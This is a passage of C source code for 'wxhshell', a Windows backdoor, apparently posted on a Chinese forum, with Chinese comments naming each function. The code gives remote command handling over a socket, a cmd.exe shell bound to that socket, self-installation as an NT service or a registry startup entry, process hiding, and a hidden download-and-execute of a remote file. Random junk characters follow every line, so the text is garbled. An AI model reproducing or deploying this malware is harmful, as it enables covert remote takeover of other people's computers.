  case '?': { 93 [rL+l.Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $|rCrak;  
    break; Ob7zu"zr  
  } S>.q 5  
  // 安装 ?0 HR(N(z!  
  case 'i': { %B[YtWqm`/  
    if(Install()) BO[+E' 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?){0-A4  
    else 2@rp<&s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rk}\)r\  
    break; >9 q]>fJ  
    } NAJ '><2  
  // 卸载 |!{ z? i  
  case 'r': { m"5{D*|  
    if(Uninstall()) )>ug{M%g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hT.4t,wa8  
    else Tnf&pu#5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y,3z-Pa=@  
    break; Cq-hPa}2  
    } (}9cD^F0n  
  // 显示 wxhshell 所在路径 ,?C|.5  
  case 'p': { NKRaQ r  
    char svExeFile[MAX_PATH]; J>><o:~@  
    strcpy(svExeFile,"\n\r"); G%xb0%oi]%  
      strcat(svExeFile,ExeFile); W,xi> 5k  
        send(wsh,svExeFile,strlen(svExeFile),0); )C'G2RV  
    break; eL<m.06cfY  
    } W/#KX}4  
  // 重启 PthId aN@  
  case 'b': { kJHr&=VO~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &r&;<Q  
    if(Boot(REBOOT)) X(4s;i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Cq6h;!#  
    else { Mi;}.K0J  
    closesocket(wsh); Gtj (  
    ExitThread(0); T+`xr0  
    } 6\; 4 4,3  
    break; f 1sy9nQs  
    } q >Q:X3  
  // 关机 5x:Ift *  
  case 'd': { l[tY,Y:4qO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &?P=arU  
    if(Boot(SHUTDOWN)) s/r5,IFR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 17J}uXA   
    else { 5F'%i;)oq  
    closesocket(wsh); /X(@|tk:  
    ExitThread(0); L~@ma(TV{K  
    } h$E\2lsE  
    break; nAQyxP%  
    } #Tr;JAzVjG  
  // 获取shell ^+(A&PyP?  
  case 's': { \[Sm2/9v  
    CmdShell(wsh); l=oN X"l=  
    closesocket(wsh); y #hga5  
    ExitThread(0); i_j9/k  
    break; KzEuPJ?  
  } tQNk=}VR7r  
  // 退出 !^c:'I>~  
  case 'x': { .`oJcJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >yV)d/  
    CloseIt(wsh); nz,Mqol  
    break; \_m\U.*  
    } .b =M5JsyV  
  // 离开 'hwV   
  case 'q': { GM)\)\kNF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @-)<|orU4  
    closesocket(wsh); 3q~":bpAp  
    WSACleanup(); Ze [g0"  
    exit(1); 6vD]@AF  
    break; mF6@Y[/B  
        } g@S@d&9  
  } 7Y-FUZ.`>  
  } @ A~B ,  
n/9 LRZD|w  
  // 提示信息 yj}bY?4I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -XS+Uv  
} [ 4?cM\_u@  
  } Jcwh|w9D8  
}<( "0jC  
  return; w0a+8gexi  
} Bi9 N  
fP^W"y  
// shell模块句柄 LVR;&Z>j  
int CmdShell(SOCKET sock) Q{J"`d2  
{ B$}wF<`k7  
STARTUPINFO si; `l[6rf_.  
ZeroMemory(&si,sizeof(si)); ?V&Ld$db  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w6WGFQ_%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *6 z'+'  
PROCESS_INFORMATION ProcessInfo; 8k+q7  
char cmdline[]="cmd"; _Ewy^;S%L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pi&fwGL  
  return 0; #hy5c,}>  
} LW83Y/7  
IEno.i\  
// 自身启动模式 Jf %!I  
int StartFromService(void) 'NQMZfz  
{ Q{H!s_6iyv  
typedef struct }AMYU>YE=  
{ C&gOA8nf  
  DWORD ExitStatus; +BtLyQ  
  DWORD PebBaseAddress; M(.uu`B  
  DWORD AffinityMask; 7`uA  
  DWORD BasePriority; 5@R15q@c6n  
  ULONG UniqueProcessId; ^G'yaaLXR  
  ULONG InheritedFromUniqueProcessId; qHC*$v#.V?  
}   PROCESS_BASIC_INFORMATION; <eud#v  
%9~kA5Qj  
PROCNTQSIP NtQueryInformationProcess; %T&&x2p^=?  
FT3,k&i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P\*2c*,W;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #GDh/t2@  
uNPD~TYN  
  HANDLE             hProcess; ;*>QG6Fh  
  PROCESS_BASIC_INFORMATION pbi; |k7ts&2  
YWcui+4p}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V\k5h  
  if(NULL == hInst ) return 0; ?FY@fO?es  
9AVK_   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t(z(-G|&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :N*q;j>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6S! lD=  
PoBu kOv  
  if (!NtQueryInformationProcess) return 0; EvH(Po h  
hIzPy3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tvj'{W  
  if(!hProcess) return 0; 6bRQL}[  
vZ_DG}n11  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T,xVQ4J?  
lvz:UWo  
  CloseHandle(hProcess); 8eS@<[[F#  
%b>y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9sO{1rF  
if(hProcess==NULL) return 0; QAOk  
M$>WmG1~D  
HMODULE hMod; 8ZNd|\  
char procName[255]; mISu o  
unsigned long cbNeeded; J<5vs3[9  
zM8/ s96h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Op$J"R  
('o; M:  
  CloseHandle(hProcess); 3$kv%uf{  
*NwKD:o  
if(strstr(procName,"services")) return 1; // 以服务启动 fbx;-He!  
{C0OrO2:  
  return 0; // 注册表启动 *2m&?,nJ  
} z5o9\.y({  
_>?8eC]4a  
// 主模块 9^Vx*KVrU  
int StartWxhshell(LPSTR lpCmdLine) v\?\(Y55Y  
{ <8z[,X}bM  
  SOCKET wsl; u7y7  
BOOL val=TRUE; = VX<eV  
  int port=0; 2h? r![  
  struct sockaddr_in door; -) v p&-  
KbuGf$Bv  
  if(wscfg.ws_autoins) Install(); We+FP9d%  
$RFu m'`5  
port=atoi(lpCmdLine); x_H7=\pX]  
>G3 J3P(  
if(port<=0) port=wscfg.ws_port; 5@&i:vs5y  
S>ylAU;N  
  WSADATA data; YT 03>!B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?=@Q12R)X  
}yC,uEV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G'}_ZUy#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e[ k;SSs  
  door.sin_family = AF_INET; v8fZ?dx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r;6YCI=z  
  door.sin_port = htons(port); )'I<xx'1  
4z 3$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "y ,(9_#  
closesocket(wsl); ,E8>:-boL  
return 1; 9q@YE_ji  
} kA :;c}p  
mBgx17K/-_  
  if(listen(wsl,2) == INVALID_SOCKET) { >dC(~j{  
closesocket(wsl); O>):^$-K%  
return 1; ?yM/j7Xn  
} K'rs9v"K|  
  Wxhshell(wsl); Zz*mf+  
  WSACleanup(); PQ#-.K  
@/2wmza%2  
return 0; {8p?we3l1  
d@`:9 G3  
} kd4*Zab  
OsSiBb,W79  
// 以NT服务方式启动 G@I_6c E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /g- X=|?F  
{ U[ O!&:6  
DWORD   status = 0; 3LnyQ  
  DWORD   specificError = 0xfffffff; 4Jy,IKPp  
EsxTBg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b6$A@b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;A'17B8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  >33b@)  
  serviceStatus.dwWin32ExitCode     = 0;  SSM> ID  
  serviceStatus.dwServiceSpecificExitCode = 0; ZZJ"Ny.2  
  serviceStatus.dwCheckPoint       = 0; CpdY)SMSL  
  serviceStatus.dwWaitHint       = 0; 0YRYCO$  
GIl{wd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZrT|~$*m`  
  if (hServiceStatusHandle==0) return; $[;eb,  
8r|  
status = GetLastError(); hpe s  
  if (status!=NO_ERROR) zw:b7B]  
{ &`y_R'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Z 5Wk  
    serviceStatus.dwCheckPoint       = 0; Uy'ZL(2  
    serviceStatus.dwWaitHint       = 0; ]`U?<9~Ob  
    serviceStatus.dwWin32ExitCode     = status; X \ZUt >  
    serviceStatus.dwServiceSpecificExitCode = specificError; %31K*i/]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \V\ET  
    return; wm[d5A4  
  } c`=h K*  
g[)hm`{?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xH-k~#  
  serviceStatus.dwCheckPoint       = 0; Mo r-$a8  
  serviceStatus.dwWaitHint       = 0; Ev ,8?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e' ;c8WF3E  
} PEhLzZX+  
"Z?":|%7  
// 处理NT服务事件,比如:启动、停止 4B>|Wft{p]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SvrV5X  
{ +/8?+1E ^  
switch(fdwControl) ".Z+bi2l  
{ X2kLbe  
case SERVICE_CONTROL_STOP: !-Q!/?  
  serviceStatus.dwWin32ExitCode = 0; m5g: Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `G{t<7[[;  
  serviceStatus.dwCheckPoint   = 0; E&v-(0  
  serviceStatus.dwWaitHint     = 0; A|nU _*  
  { +& Qqu`)?F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YH$`r6\S  
  } ho<#i(  
  return; N=x,96CF  
case SERVICE_CONTROL_PAUSE: CBHWMetJ*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '*.};t~;"d  
  break; :fUmMta  
case SERVICE_CONTROL_CONTINUE: q@> m~R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AG=1TZI"  
  break; {(Z1JoSl  
case SERVICE_CONTROL_INTERROGATE: Z)4P>{  
  break; J(L$pIM  
}; RH'R6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zj4JWUM2  
} Etk<`GRfA  
F.hC%Ncu  
// 标准应用程序主函数 o4795r,jz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XRin~wz|S  
{  5 Ep  
3g?T,| 2K  
// 获取操作系统版本 Vt>E\{@[t  
OsIsNt=GetOsVer(); IRY2H#:$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M?97F!\U  
sk/ Mh8z  
  // 从命令行安装 {[dqXG$v `  
  if(strpbrk(lpCmdLine,"iI")) Install(); XoOe=V?I )  
!<'R%<E3 Q  
  // 下载执行文件 <9vkiEo  
if(wscfg.ws_downexe) { ,;}RIcvQV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  _^ZII  
  WinExec(wscfg.ws_filenam,SW_HIDE); YN3uhd[2  
} F!'"mU<f  
2Ev,dWV  
if(!OsIsNt) { 1owoh,V6  
// 如果时win9x,隐藏进程并且设置为注册表启动 }qg&2M%\  
HideProc(); 0&@6NW&Mu  
StartWxhshell(lpCmdLine); s,= ^V/c  
} c=CXj3  
else _\zf XHp  
  if(StartFromService()) TY}?>t+  
  // 以服务方式启动 #t*c*o  
  StartServiceCtrlDispatcher(DispatchTable); 7 #`:m|$  
else =>U~ligu  
  // 普通方式启动 $6[]c)(  
  StartWxhshell(lpCmdLine); _4w%U[GT,  
NgQl;$  
return 0; Kk#@8h>  
}
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只看该作者 1 发表于: 2006-10-10
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